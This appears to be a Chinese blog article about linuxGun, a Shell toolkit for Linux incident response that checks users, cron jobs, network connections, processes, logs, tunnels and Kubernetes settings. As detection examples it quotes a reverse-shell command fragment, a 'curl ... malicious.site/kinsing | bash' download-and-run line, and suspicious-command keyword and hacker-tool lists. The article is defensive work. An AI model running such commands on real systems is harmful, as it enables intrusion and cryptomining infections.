1. 项目概述如果你是一名运维工程师或者安全工程师当半夜被电话叫醒被告知某台核心Linux服务器可能被入侵时你的第一反应是什么是手忙脚乱地敲一堆零散的ps aux、netstat -antp、find / -perm -4000命令还是能有一套清晰、高效、全面的检查流程像外科手术一样精准地定位问题我经历过太多次这样的深夜“惊魂”也见过太多同行在应急响应时因为思路不清、工具不全而错失黄金排查时间导致事态扩大。这正是我投入大量精力从零开始打磨“Linuxgun”这个项目的初衷。“Linuxgun”不是一个凭空想象的工具它是我过去五年在无数个应急响应现场用血泪教训和实战经验“喂”出来的。早期它只是一个我为了方便自己而写的linuxcheck.sh脚本功能简单粗暴就是“一把梭”全量检查。但随着遇到的场景越来越复杂从挖矿木马到Webshell后门从权限维持到横向移动我发现简单的脚本已经不够用了。我需要一个更模块化、更智能、更能适应不同应急场景的工具。于是在linuxcheckv5.0的基础上我将其彻底重构诞生了现在的linuxGun系列并进一步演进出了功能更强大的专业版linuxGunPro.sh。这个工具的核心目标非常明确为Linux主机安全应急响应与日常巡检提供一个开箱即用、覆盖全面、逻辑清晰的自动化检查框架。它完全使用Shell编写不依赖Python、Perl等外部解释器力求在极端环境下比如系统被破坏、网络隔离、只有最小化安装的系统也能稳定运行。它试图将资深安全工程师的检查思路和经验固化到代码里让你即使是一个新手也能按照一个成熟的“剧本”去排查问题大大降低应急响应的门槛和出错概率。2. 核心设计思路与架构解析2.1 为什么是Shell而不是Python/Go这是被问得最多的问题。在Python和Go大行其道的今天选择一个“古老”的Shell来编写一个复杂的工具似乎有点反潮流。但我的理由非常充分极致的环境兼容性与可移植性任何一台Linux服务器哪怕是最小化安装也必定有Bash或至少一个POSIX兼容的Shell。你不需要担心目标机器上没有Python环境或者Python版本不兼容导致库无法导入。在应急响应的黄金时间你根本没有时间去安装依赖、配置环境。Shell脚本是“自带运行环境”的。对系统原生命令的无缝集成安全检查的本质是调用并解析大量的系统命令ps,netstat,find,grep,awk,sed等。Shell脚本在调用这些命令、处理它们的输出流stdout/stderr方面具有天然的优势语法简洁直观。用Python去封装这些调用反而增加了不必要的抽象层和性能开销。执行效率与资源占用对于大量的文件遍历、文本过滤操作配合find、grep、awk这些用C语言编写、经过几十年优化的工具其执行效率往往高于用Python纯代码实现。在排查敏感时期工具本身应尽可能轻量减少对系统资源的占用和对攻击者可能造成的“惊动”。“在极端条件下能出一份力”这是写在项目介绍里的一句话也是我的核心信念。当系统已经千疮百孔/usr/bin/python可能被替换或删除动态链接库可能被破坏但最基本的Shell和核心工具集存活下来的概率要大得多。当然Shell也有其局限性比如复杂数据结构的处理、网络通信等。因此在tools目录下我补充了一些用Python编写的小工具如uploadServer.py用于增强特定功能但这不影响核心检查脚本的纯粹性。2.2 模块化设计从“一把梭”到“精准打击”早期的linuxcheck.sh是一个超过3000行的单体脚本所有检查逻辑顺序执行。虽然全面但缺乏灵活性。在真正的应急中我们往往需要根据入侵迹象进行针对性检查而不是每次都跑完长达半小时的全套流程。linuxGun.sh和linuxGunPro.sh的核心改进就是彻底的模块化。我将所有检查项归类为十几个一级模块每个模块下再细分函数。例如--system-user: 只检查用户和组相关安全项。--network: 只检查网络连接、端口、防火墙。--file-systemlog: 只分析系统日志。这种设计带来了几个巨大优势针对性响应如果怀疑是弱口令爆破可以快速运行--system-user和--file-systemlog分析secure日志。如果怀疑是挖矿可以运行--psinfo和--performance。降低对业务的影响全量检查会消耗一定CPU和I/O资源。在业务高峰时段可以只运行关键模块避免对业务造成冲击。便于集成与定制其他自动化平台或SOAR安全编排与自动化响应系统可以方便地调用特定模块并将结果集成到工单或报告中。2.3 规则驱动与高度可定制化工具的有效性很大程度上取决于其检测规则是否准确、是否跟得上威胁的变化。linuxGun将所有的匹配规则都剥离到了checkrules/目录下的文本文件中。checkrules/ ├── dangerstcpports.txt # 定义哪些TCP端口被视为高危如22, 23, 445, 6379等 ├── dangersudpports.txt # 定义哪些UDP端口被视为高危 ├── hackertoolslist.txt # 定义哪些进程名或路径属于黑客工具如nmap, hydra, sqlmap等 └── dangerspslist.txt # 定义哪些进程是危险的如挖矿程序名、常见后门名为什么这么做动态更新当出现新的挖矿病毒其进程名为kthreaddk时我只需要在dangerspslist.txt里添加一行kthreaddk所有使用该工具的用户就能立即具备检测能力而无需更新整个脚本。场景适配不同公司的业务环境不同对“高危端口”的定义也不同。金融系统可能认为3306MySQL外网暴露是极高风险而一个内部开发测试机则可能放宽。管理员可以轻松修改这些规则文件来适配自己的安全基线。降低误报规则文件支持简单的正则表达式可以更精确地匹配。例如不是所有名为python的进程都是恶意的但python -c “import socket,subprocess,os;ssocket.socket...”这样的命令行特征就很有可能是反向Shell。实操心得规则文件的维护规则文件是工具的灵魂。我建议运维团队定期如每季度回顾和更新这些规则。可以从内部安全事件、外部威胁情报如绿盟、微步在线的报告中提取新的IOC入侵指标补充到对应的规则文件中。这是一个持续运营的过程。2.4 交互模式与自动化模式的平衡linuxGunPro.sh引入了--inter交互参数这是一个非常重要的设计。在执行每个模块前脚本会询问用户是否继续。这看起来有点“反自动化”但其实非常实用。交互模式的适用场景调查取证阶段当你需要仔细审视每一步的检查结果并决定下一步的排查方向时。比如在用户检查模块发现了可疑账号你可以暂停手动去验证这个账号然后再决定是否继续检查计划任务和启动项。新手学习对于不熟悉Linux安全排查的新手交互模式就像一个“向导”一步步展示检查的内容和发现有助于理解整个应急响应的流程和思路。避免“惊动”攻击者某些高级的检查如深入的内存分析、全盘文件扫描可能会产生大量I/O或CPU使用率容易被攻击者部署的监控脚本察觉。交互模式允许你有选择地执行“静默”检查。而对于成熟的、需要批量巡检或自动化响应的场景直接使用--all全量模式或指定模块模式即可结果会自动输出到output/目录下的日志文件中。3. 核心功能模块深度拆解与实操3.1 系统信息与用户分析 (--system)这是应急响应的起点。攻击者入侵后几乎必然会在用户和权限上留下痕迹。3.1.1 用户信息深度排查脚本不仅仅查看/etc/passwd和/etc/shadow。它会进行多层关联分析克隆用户检测比较/etc/passwd中用户的UID和/etc/shadow中对应的记录。攻击者可能会创建一个UID为0root的新用户或者复制一个已存在用户的UID克隆用户企图绕过简单的用户名审查。非系统用户识别通常系统用户的UID小于1000CentOS/RHEL或100Ubuntu/Debian。脚本会列出所有UID大于此阈值的用户这些往往是攻击者添加的后门账号或应用账号需要重点审查。口令安全审计空口令用户检查shadow文件中密码字段为空的用户。这是最低级的漏洞。未加密口令极老的系统或配置错误可能导致密码以明文形式存储密码字段不是$id$salt$hash格式。脚本会标记出来。可登录的空口令用户结合passwd中的shell字段如/bin/bash找出那些既允许登录又密码为空的账户这是极高风险项。特权组检查除了root组检查是否有其他用户被加入了wheel、sudo、adm等具有特权执行权限的组。实操示例与输出解读运行bash linuxGunPro.sh --system-user你可能会看到类似下面的输出片段[INFO] 开始检查用户信息... [CHECK] 检查可登录用户... root:x:0:0:root:/root:/bin/bash admin:x:1000:1000:Admin User:/home/admin:/bin/bash [WARN] 发现非系统用户UID1000: webapp:x:1001:1001::/home/webapp:/bin/bash deploy:x:1002:1002::/home/deploy:/bin/bash [CHECK] 检查克隆用户... [OK] 未发现克隆用户。 [DANGER] 发现空口令用户 testuser:x:1003:1003::/home/testuser:/bin/bash这里的webapp和deploy可能是正常的应用账户但需要你根据业务确认。而testuser这个空口令账户就是必须立即处理的高危项。3.1.2 计划任务与历史命令 (--system-crontab,--system-history)攻击者常用计划任务cron进行权限维持。脚本会检查/etc/crontab、/etc/cron.d/、/etc/cron.hourly/daily/weekly/monthly/以及各个用户的crontab -l。历史命令分析是寻找攻击者活动轨迹的宝库。脚本不仅看当前用户的.bash_history还会遍历/home/下所有用户目录甚至包括root、mysql等用户的历史文件。它会用关键词去匹配可疑操作文件下载wget、curl、scp、rzZMODEM。权限变更useradd、usermod、passwd、chmod 4777。网络与后门nc -lvp、socat、msfvenom、chattr i锁定文件。信息收集uname -a、ifconfig/ip a、cat /etc/passwd、find / -perm -4000。注意事项历史命令的局限性高级攻击者会清空或篡改历史记录history -c或直接清空.bash_history文件。因此不能完全依赖历史命令。脚本会检查历史文件的时间戳和大小如果发现异常如文件最近被修改但内容为空会给出警告。同时--file-systemlog模块对系统日志的分析可以作为重要补充。3.2 网络与进程关联分析 (--network,--psinfo)这是发现实时威胁的关键。脚本将网络连接与进程信息进行关联分析形成一张“进程-端口-连接”的关系网。3.2.1 网络连接排查端口监听分析使用ss -tulnp或netstat -tulnp兼容性处理列出所有监听端口并与checkrules/dangerstcpports.txt中的规则进行比对标记出高危端口。网络连接状态分析ESTABLISHED、CLOSE_WAIT、TIME_WAIT等状态的连接。特别关注到外部可疑IP的出境连接这可能是木马在回连C2命令与控制服务器。路由与防火墙检查路由表ip route是否有异常路由条目检查iptables或firewalld规则是否被恶意修改或清空。3.2.2 高级进程分析基础的ps aux只能看到表象。linuxGunPro进行了更深度的进程检查进程树与孤儿进程使用pstree或ps -ef --forest查看进程父子关系。孤儿进程父进程为1init/systemd可能是守护进程也可能是恶意进程脱壳后的残留。进程资源异常筛选CPU或内存占用持续过高的进程。挖矿木马和DDoS僵尸程序通常会有此特征。进程与网络连接映射通过lsof -p PID或检查/proc/PID/fd/目录查看进程打开了哪些网络端口和文件。如果一个/usr/bin/python进程持有一个奇怪的端口那就非常可疑。进程环境变量与命令行检查进程的/proc/PID/environ和/proc/PID/cmdline。攻击者经常通过环境变量传递加密密钥或配置或者使用混淆的命令行来躲避简单字符串匹配。实操场景发现挖矿病毒假设你收到告警服务器CPU持续100%。运行bash linuxGunPro.sh --psinfo --performance。--psinfo可能发现一个名为kinsing或xmrig的陌生进程其CPU占用率极高。检查该进程的网络连接lsof -p PID可能会发现它正连接到一个外网的矿池地址如pool.minexmr.com:443。--performance模块会直观地展示CPU、内存、负载情况印证你的发现。此时你可以用--system-history查看历史命令寻找病毒下载和执行痕迹如curl -s http://malicious.site/kinsing | bash。最后用--file模块检查病毒文件所在路径、相关计划任务和启动项进行彻底清理。3.3 文件系统与日志深度审计 (--file)文件系统是攻击者活动的最终载体日志则是其活动的“摄像机”。3.3.1 关键文件属性检查SUID/SGID文件查找设置了SetUID或SetGID位的文件。合法的如/usr/bin/passwd非法的可能是攻击者留下的后门赋予普通用户root权限。脚本会列出所有此类文件需要人工甄别。24小时内变动的文件使用find / -type f -mtime 0 2/dev/null命令找出最近一天内被修改的文件。结合/proc,/sys,/run等目录排除可以快速定位攻击者上传或修改的工具、配置、Webshell等。敏感目录扫描重点检查/tmp、/dev/shm内存文件系统、/var/tmp等可写目录这些是攻击者存放临时工具的热门位置。同时检查/root下的隐藏文件ls -la。3.3.2 系统日志关联分析日志分析不是简单的cat而是关联和模式匹配。/var/log/secure(或auth.log)这是SSH认证日志。脚本会分析登录成功/失败统计IP的失败次数识别爆破行为。检查非工作时间或来自异常地理位置的登录成功记录。用户变更搜索useradd、usermod等关键字发现攻击者创建的后门账户。/var/log/cron分析计划任务的执行日志寻找恶意脚本的下载wget、curl和执行。/var/log/yum.log或dnf.log检查是否被安装了恶意软件包。journalctl查询使用journalctl --since “1 hour ago”等命令获取近期的系统日志覆盖systemd管理的服务日志。避坑技巧日志的时间陷阱服务器时间可能被攻击者篡改或者时区设置不正确导致日志时间戳混乱。在分析前先用date和hwclock命令确认系统时间。linuxGun在检查开始时会记录一个统一的开始时间所有检查项的时间戳都基于此有助于在时间混乱时建立相对时间线。3.4 专项威胁检测模块3.4.1 隧道检测 (--tunnel)攻击者为了绕过防火墙和流量监控会建立各种隧道。SSH隧道检查sshd进程寻找异常参数如-R远程转发-D动态转发。分析/etc/ssh/sshd_config中是否被添加了未授权的AllowTcpForwarding或GatewayPorts配置。检查netstat中是否存在本地端口绑定到远程端口的连接。DNS/ICMP隧道这类隧道将数据封装在DNS查询或ICMP包中隐蔽性极高。脚本会检查是否有进程频繁地与外部DNS服务器通信非53端口或者存在大量异常的ICMP流量需结合网络监控。这部分检测更多是提供线索需要进一步用tcpdump抓包分析。3.4.2 黑客工具与后门特征 (--hackerTools)基于checkrules/hackertoolslist.txt在系统中搜索已知的黑客工具如nmap、hydra、sqlmap、john、weevely等。同时也会查找一些常见的Rootkit和内核模块后门特征通过检查lsmod输出和/lib/modules/下的模块文件。3.4.3 Kubernetes集群安全 (--k8s)对于容器化环境攻击面从主机延伸到了Kubernetes集群。该模块检查集群配置kubectl config view检查是否有过于宽松的权限绑定。Secrets信息检查是否有敏感信息如密码、令牌以Secret形式存储但配置了不当的访问权限。Pod安全上下文检查是否有Pod以privileged特权模式运行或者挂载了主机敏感目录。Ingress与Service检查网络策略是否有服务被暴露到了公网。4. 专业版增强功能与实战部署4.1 linuxGunPro.sh 的核心增强linuxGunPro.sh在标准版基础上引入了企业级工具所需的可靠性和可管理性。分级日志系统日志不再是一股脑输出。它分为DEBUG、INFO、WARN、ERROR等级别。在常规巡检时你可以只记录WARN和ERROR。在深度排查时开启DEBUG日志它能记录下每个检查步骤的详细输出和决策过程便于事后复盘和审计。统一的错误处理每个函数都有标准的错误返回码和错误信息。当某个检查项因为权限不足或文件不存在而失败时脚本不会直接崩溃而是记录一个错误并尽可能继续执行其他检查。这保证了在部分受损的系统上工具依然能收集到尽可能多的信息。性能监控与操作日志脚本会记录自身运行的开始时间、结束时间、每个模块的耗时。同时它会将用户运行脚本时使用的参数、运行时的系统状态负载、内存一并记录。这在处理性能相关安全事件如资源耗尽型攻击时提供了宝贵的上下文信息。4.2 工具集的使用blockIP.sh 与 uploadServer.pytools/目录下的两个小工具极大地扩展了linuxGun的实用性。blockIP.sh- IP封禁管理工具在应急响应中快速阻断攻击源IP至关重要。这个脚本封装了iptables和firewall-cmd的操作提供统一的接口。# 使用 iptables 封禁一个IP bash tools/blockIP/blockIP.sh -a block -i 192.168.1.100 -t iptables # 使用 firewalld 封禁一个IP段 bash tools/blockIP/blockIP.sh -a block -i 10.0.0.0/24 -t firewalld # 从文件批量封禁IP (例如从linuxGun发现的爆破IP列表) bash tools/blockIP/blockIP.sh -a block -f suspicious_ips.txt -t iptables # 查看当前封禁列表 bash tools/blockIP/blockIP.sh -a list -t iptables # 解除封禁 bash tools/blockIP/blockIP.sh -a unblock -i 192.168.1.100 -t iptables它还会自动备份当前的防火墙规则防止误操作。这对于需要频繁封禁IP的DDoS防御或入侵遏制场景非常有用。uploadServer.py- 安全结果上传服务器应急响应往往需要多人协作或上报。将检查结果可能包含敏感信息通过不安全的协议如FTP、未加密的SCP传输存在风险。uploadServer.py是一个简单的Python HTTP服务器支持Token认证。# 在分析机上启动上传服务器需要Python环境 cd tools/uploadServer/ pip install -r requirements.txt # 安装依赖如Flask python uploadServer.py --host 0.0.0.0 --port 8080 --token MySecretToken2024在被检查的主机上运行完linuxGun后使用--send参数将结果打包发送bash linuxGunPro.sh --all # 检查完成后会生成一个tar.gz压缩包 bash linuxGunPro.sh --send 192.168.1.100 8080 MySecretToken2024这样检查结果就通过一个简单的认证HTTP POST请求发送到了分析机便于集中管理和分析。4.3 部署与运行策略日常巡检可以编写一个cron job每周或每月在业务低峰期以--all模式非交互式运行一次linuxGun.sh将输出结果保存并与历史基线进行对比发现缓慢变化的威胁如偷偷新增的用户、异常的计划任务。应急响应第一步信息收集在疑似被入侵的主机上首先运行bash linuxGunPro.sh --system-user --network --psinfo快速获取用户、网络、进程的快照。第二步深入分析根据第一步的发现针对性运行其他模块。例如发现可疑进程则运行--file检查其相关文件发现异常登录则运行--file-systemlog分析安全日志。第三步遏制与清理使用blockIP.sh封禁攻击源根据工具发现的恶意文件、进程、账号进行清理。第四步证据保存与上报使用--send功能将所有检查结果和日志打包发送到安全分析平台。安全基线核查新服务器上线前运行--baseline模块检查密码策略、SSH配置、文件权限等是否符合公司安全规范。5. 常见问题、排查技巧与局限性5.1 实战中遇到的问题与解决方案问题1脚本在某个检查点卡住或报错。原因最常见的原因是目标系统环境差异。比如某些Linux发行版如Alpine使用busybox命令参数与GNU coreutils不同或者某些命令路径不在默认的$PATH中。解决linuxGunPro.sh增强了错误处理和兼容性判断。它会先尝试检测命令是否存在并使用command -v来定位命令路径。如果遇到不兼容的命令如netstatvsss会尝试使用替代方案。查看ERROR级别的日志通常能定位到具体失败的命令。问题2检查结果太多“误报”难以聚焦。原因默认的规则文件如hackertoolslist.txt包含了一些安全人员常用的工具如nmap但在运维人员手中它是合法工具。解决定制化规则文件。这是必须做的一步。根据你公司的实际情况清理checkrules/目录下的文件。将合法的管理工具从黑名单中移除并将你们内部已知的恶意软件特征文件名、进程名、路径添加进去。也可以为不同业务区域的服务器准备不同的规则集。问题3攻击者使用了Rootkit隐藏了进程和文件。局限性纯用户态的Shell脚本很难检测到内核级的Rootkit。如果ps、ls、netstat这些命令本身被攻击者替换或通过LD_PRELOAD劫持那么脚本看到的就是“干净”的假象。应对使用linuxGun的--kernel模块检查加载的内核模块lsmod寻找可疑项。使用静态编译的、来自可信媒介的工具如busybox静态版重新检查。可以将静态编译的busybox通过U盘或安全网络拷贝到目标机器使用./busybox ps、./busybox netstat来查看。考虑从外部视角检查例如通过网络流量分析IDS/IPS、主机安全Agent如HIDS的日志或者直接下线做磁盘镜像进行取证分析。问题4检查过程中疑似恶意进程消失了。原因可能是进程设置了定时任务或监控脚本检测到有排查动作如大量读取/proc后自毁。应对快速快照在登录系统后立即运行bash linuxGunPro.sh --psinfo --network这两个模块执行速度快能最快抓住进程和连接的瞬时状态。内存取证如果条件允许在怀疑进程消失前使用gcore或dd命令对可疑进程的内存进行转储gcore PID或者直接使用LiME等工具转储整个物理内存。这需要较高的权限和技巧。分析计划任务和启动项立即运行--system-crontab和--file-systemservice查找那些会重新启动恶意进程的持久化机制。5.2 工具局限性认知必须清醒认识到没有任何一个自动化工具是万能的。linuxGun是一个辅助工具它的价值在于标准化流程为应急响应提供一个不遗漏关键检查点的清单。提升效率将重复、繁琐的命令执行和结果过滤自动化。经验传承将资深工程师的检查模式固化帮助新手快速上手。但它不能替代人工分析与判断工具输出的是“线索”和“异常”最终的判断是攻击还是误报必须由人来完成。深入的取证分析对于复杂的APT攻击、无文件攻击、内存马需要专业的取证工具和专家经验。实时监控与防御它是“事后”或“事中”的响应工具不能替代事前部署的防火墙、WAF、HIDS等主动防御体系。5.3 给使用者的最终建议先理解后使用不要把它当成一个黑盒魔法。花时间阅读脚本的主要逻辑理解每个检查模块背后的安全原理。这样当工具报出警告时你才知道如何验证和处置。定期演练在非生产环境定期进行红蓝对抗演练使用linuxGun作为蓝方的检查工具。这既能熟悉工具也能检验你们现有监控和防御措施的有效性。贡献与反馈如果你在使用中发现了bug或者有新的检查思路、更好的Shell代码实现非常欢迎在GitHub上提交Issue或Pull Request。这个工具的生命力来自于社区的共同维护。合规使用只在你有权限检查的系统上使用。未经授权对他人系统进行安全扫描是违法行为。工具的本质是放大器它放大了安全工程师的能力和效率但无法替代工程师本身的思考、经验和责任心。希望linuxGun能成为你手中一把可靠的“武器”在保卫系统安全的战斗中助你一臂之力。